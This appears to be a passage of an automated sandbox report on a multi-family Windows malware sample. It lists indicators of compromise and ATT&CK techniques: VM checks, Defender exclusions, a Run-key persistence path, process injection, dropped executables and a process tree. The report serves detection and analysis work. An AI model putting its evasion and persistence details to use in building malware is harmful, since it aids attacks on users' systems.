9856898c30f265ee9a91a96e58a4b053d6014d9a7efc229d551ae95203f2fa34

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
41	468	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
552	powershell.exe
1260	powershell.exe
1756	powershell.exe
4832	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4724	takeown.exe
1432	icacls.exe
560	icacls.exe

Executes dropped EXE 5 IoCs

pid	Process
332	Win-v42.exe
212	Win-v43.exe
468	cmd.exe
1568	svchost.exe
4964	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4724	takeown.exe
1432	icacls.exe
560	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
46	api64.ipify.org
9	api64.ipify.org
10	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3396	powercfg.exe
4204	powercfg.exe
516	powercfg.exe
1604	powercfg.exe
3780	powercfg.exe
2556	powercfg.exe
4028	powercfg.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\Win-v42.exe	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4700 set thread context of 468	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	140
PID 4700 set thread context of 1568	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	141

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Win-v41.exe	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2544	cmd.exe
3312	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
2712	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={3166F8C9-8DA4-4846-B81D-B536ED5E7121}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3312	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3808	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
552	powershell.exe
552	powershell.exe
1260	powershell.exe
1260	powershell.exe
1756	powershell.exe
1756	powershell.exe
332	Win-v42.exe
332	Win-v42.exe
212	Win-v43.exe
212	Win-v43.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4832	powershell.exe
4832	powershell.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4832	powershell.exe
628	winlogon.exe
628	winlogon.exe
4964	Win-v41.exe
4964	Win-v41.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3244	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeTakeOwnershipPrivilege	4724	takeown.exe
Token: SeShutdownPrivilege	2556	powercfg.exe
Token: SeCreatePagefilePrivilege	2556	powercfg.exe
Token: SeShutdownPrivilege	4028	powercfg.exe
Token: SeCreatePagefilePrivilege	4028	powercfg.exe
Token: SeShutdownPrivilege	3396	powercfg.exe
Token: SeCreatePagefilePrivilege	3396	powercfg.exe
Token: SeShutdownPrivilege	4204	powercfg.exe
Token: SeCreatePagefilePrivilege	4204	powercfg.exe
Token: SeShutdownPrivilege	516	powercfg.exe
Token: SeCreatePagefilePrivilege	516	powercfg.exe
Token: SeShutdownPrivilege	1604	powercfg.exe
Token: SeCreatePagefilePrivilege	1604	powercfg.exe
Token: SeShutdownPrivilege	3780	powercfg.exe
Token: SeCreatePagefilePrivilege	3780	powercfg.exe
Token: SeShutdownPrivilege	3780	powercfg.exe
Token: SeCreatePagefilePrivilege	3780	powercfg.exe
Token: SeLockMemoryPrivilege	468	cmd.exe
Token: SeLockMemoryPrivilege	468	cmd.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	628	winlogon.exe
Token: SeShutdownPrivilege	400	dwm.exe
Token: SeCreatePagefilePrivilege	400	dwm.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
468	cmd.exe

Suspicious use of UnmapMainImage 8 IoCs

pid	Process
2588	svchost.exe
2588	svchost.exe
2588	svchost.exe
2588	svchost.exe
2588	svchost.exe
2588	svchost.exe
3244	Explorer.EXE
2588	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 552	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	85
PID 4700 wrote to memory of 1260	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	87
PID 4700 wrote to memory of 1756	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	89
PID 4700 wrote to memory of 3808	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	91
PID 4700 wrote to memory of 1172	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	93
PID 1172 wrote to memory of 2332	1172	cmd.exe	95
PID 4700 wrote to memory of 4740	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	96
PID 4740 wrote to memory of 4724	4740	cmd.exe	98
PID 4700 wrote to memory of 968	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	99
PID 968 wrote to memory of 1432	968	cmd.exe	101
PID 4700 wrote to memory of 1464	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	102
PID 1464 wrote to memory of 560	1464	cmd.exe	106
PID 4700 wrote to memory of 2556	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	107
PID 4700 wrote to memory of 4028	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	110
PID 4700 wrote to memory of 3396	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	116
PID 4700 wrote to memory of 4204	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	120
PID 4700 wrote to memory of 516	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 4700 wrote to memory of 1604	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	124
PID 4700 wrote to memory of 3780	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 4700 wrote to memory of 2544	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	128
PID 2544 wrote to memory of 3312	2544	cmd.exe	130
PID 4700 wrote to memory of 468	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	140
PID 4700 wrote to memory of 1568	4700	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	141
PID 2712 wrote to memory of 4832	2712	cmd.exe	143
PID 4832 wrote to memory of 628	4832	powershell.exe	5
PID 628 wrote to memory of 684	628	winlogon.exe	7
PID 628 wrote to memory of 892	628	winlogon.exe	11
PID 628 wrote to memory of 1012	628	winlogon.exe	13
PID 628 wrote to memory of 400	628	winlogon.exe	14
PID 628 wrote to memory of 440	628	winlogon.exe	15
PID 628 wrote to memory of 1060	628	winlogon.exe	16
PID 628 wrote to memory of 1136	628	winlogon.exe	18
PID 628 wrote to memory of 1148	628	winlogon.exe	19
PID 628 wrote to memory of 1276	628	winlogon.exe	20
PID 628 wrote to memory of 4964	628	winlogon.exe	145
PID 628 wrote to memory of 1292	628	winlogon.exe	21
PID 628 wrote to memory of 1328	628	winlogon.exe	22
PID 628 wrote to memory of 1368	628	winlogon.exe	23
PID 628 wrote to memory of 1524	628	winlogon.exe	24
PID 628 wrote to memory of 1544	628	winlogon.exe	25
PID 628 wrote to memory of 1572	628	winlogon.exe	26
PID 628 wrote to memory of 1612	628	winlogon.exe	27
PID 628 wrote to memory of 1672	628	winlogon.exe	28
PID 628 wrote to memory of 1704	628	winlogon.exe	29
PID 628 wrote to memory of 1832	628	winlogon.exe	30
PID 628 wrote to memory of 1900	628	winlogon.exe	31
PID 628 wrote to memory of 1940	628	winlogon.exe	32
PID 628 wrote to memory of 2012	628	winlogon.exe	33
PID 628 wrote to memory of 2020	628	winlogon.exe	34
PID 628 wrote to memory of 1732	628	winlogon.exe	35
PID 628 wrote to memory of 1920	628	winlogon.exe	36
PID 628 wrote to memory of 2072	628	winlogon.exe	37
PID 628 wrote to memory of 2108	628	winlogon.exe	38
PID 628 wrote to memory of 2192	628	winlogon.exe	39
PID 628 wrote to memory of 2284	628	winlogon.exe	41
PID 628 wrote to memory of 2356	628	winlogon.exe	42
PID 628 wrote to memory of 2504	628	winlogon.exe	43
PID 628 wrote to memory of 2580	628	winlogon.exe	44
PID 628 wrote to memory of 2588	628	winlogon.exe	45
PID 628 wrote to memory of 2648	628	winlogon.exe	47
PID 628 wrote to memory of 2680	628	winlogon.exe	48
PID 628 wrote to memory of 2692	628	winlogon.exe	49
PID 628 wrote to memory of 2704	628	winlogon.exe	50
PID 628 wrote to memory of 1144	628	winlogon.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:400
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4964

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-56dcda1c-f892-4673-a580-73a4a8bf8008 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d0b1ac97-78c5-429d-be90-4291ba932c96 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-555e8aaa-99cd-4408-89aa-1397fc808cfb -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-03e6d1a2-bbf1-49c1-a73f-c5106759e5f3 -LifetimeId:9ce09ef4-c503-4607-a08e-898725820404 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1276
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:788

C:\Windows\system32\svchost.exe
